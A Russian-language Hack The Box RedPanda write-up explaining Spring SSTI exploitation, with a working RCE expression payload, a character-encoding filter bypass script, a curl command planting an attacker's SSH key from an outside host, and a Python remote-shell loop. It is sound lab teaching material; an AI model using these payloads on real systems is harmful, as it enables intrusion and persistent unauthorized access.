В этой статье, на примере уязвимой машины Hack The Box RedPanda, будем эксплуатировать уязвимость SSTI с шаблонизатором Spring.
Еще по теме: Лучшие гаджеты хакера
Эксплуатация уязвимости SSTI с шаблонизатором Spring
Итак, у нас есть страница с пользовательским вводом.
Для начала можно попробовать различные типы инъекций. Для перебора, будем использовать Burp Intruder.
После неудачных попыток инъекции операторов SQL, переходим к поиску уязвимости SSTI.
Уязвимость SSTI
Server-Side Template Injection (SSTI), или инъекция шаблонов на стороне сервера, — это техника атаки, при которой хакер внедряет в шаблон вредоносный код. Шаблоны необходимы веб‑разработчикам, чтобы можно было настраивать внешний вид сайта только в одном месте и затем не копировать вручную.
Простыми словами, шаблон — это документ HTML, где в определенных местах отмечены переменные и команды, которые при генерации итоговой страницы должны быть заменены данными. В том числе это могут быть и данные, которые получают от посетителя сайта.
Атака затрагивает момент, когда полученная информация объединяется с шаблоном. Хакер формирует строку таким образом, чтобы она не просто подставилась в шаблон, но была интерпретирована как код. Если это получается, то он добавит свои директивы, с помощью которых выполнит эксфильтрацию данных или даже захват веб‑сервера.
Первым делом нужно определить используемый шаблонизатор, для чего я перебираю разные варианты по словарю.
И мы видим выполнение выражения 7*7 при использовании шаблона *{}, характерного для Java-фреймворка Spring. Чтобы получить удаленное выполнение кода (RCE) через Spring SSTI, используем следующую нагрузку.
1 |
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())} |
Точка опоры
У нас есть RCE, но при попытке выполнить некоторые действия, к примеру получить или записать SSH-ключ, мы получаем ошибку, что символы фильтруются.
1 |
curl http://10.10.11.170:8080/search -d 'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.23/id_rsa.pub -o /home/woodenk/.ssh/authorized_keys").getInputStream())}' |
Сервер жалуется на неверные символы. Давай тогда закодируем вводимую команду, чтобы избежать их. Для составления нагрузки мы будем использовать вот такой генератор:
1 |
T(java.lang.Character).toString(<...>).concat(T(java.lang.Character).toString(<...>)).concat(... |
Я написал на Python простой кодер команд:
1 2 3 4 5 6 7 |
import sys data = sys.argv[1] payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(" + str(ord(data[0])) + ")" for i in data[1:]: payload += ".concat(T(java.lang.Character).toString(" + str(ord(i)) + "))" payload += ").getInputStream())}" print("curl http://10.10.11.170:8080/search -d 'name=" + payload + "'") |
Отдаем скрипту команду id и получаем команду curl с нагрузкой.
1 |
curl http://10.10.11.170:8080/search -d 'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(105).concat(T(java.lang.Character).toString(100))).getInputStream())}' |
И мы видим вывод команды и пользователя, от имени которого она выполняется. Давай попробуем создать каталог .ssh и записать в него ключ SSH. Однако при подключении у нас все равно запрашивают пароль.
1 2 3 4 |
mkdir /home/woodenk/.ssh curl 10.10.14.23/id_rsa.pub -o /home/woodenk/.ssh/authorized_keys chmod 0600 /home/woodenk/.ssh/authorized_keys |
Так получится работать только через RCE, поэтому пришлось превратить наш генератор в более‑менее удобный шелл.
1 2 3 4 5 6 7 8 9 10 11 12 |
import requests while True: inp = input("CMD > ") payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(" + str(ord(inp[0])) + ")" for i in inp[1:]: payload += ".concat(T(java.lang.Character).toString(" + str(ord(i)) + "))" payload += ").getInputStream())}" data = {"name": payload} r = requests.post("http://10.10.11.170:8080/search", data=data) q_start = r.content.decode().index("You searched for:") + 18 q_end = r.content.decode().index("</h2>") print(r.content.decode()[q_start:q_end]) |
Мы разобрались с эксплуатацией уязвимости SSTI с шаблонизатором Spring. В следующей статье, в рамках задания Hack The Box RedPanda, будем эксплуатировать уязвимость XXE.
РЕКОМЕНДУЕМ: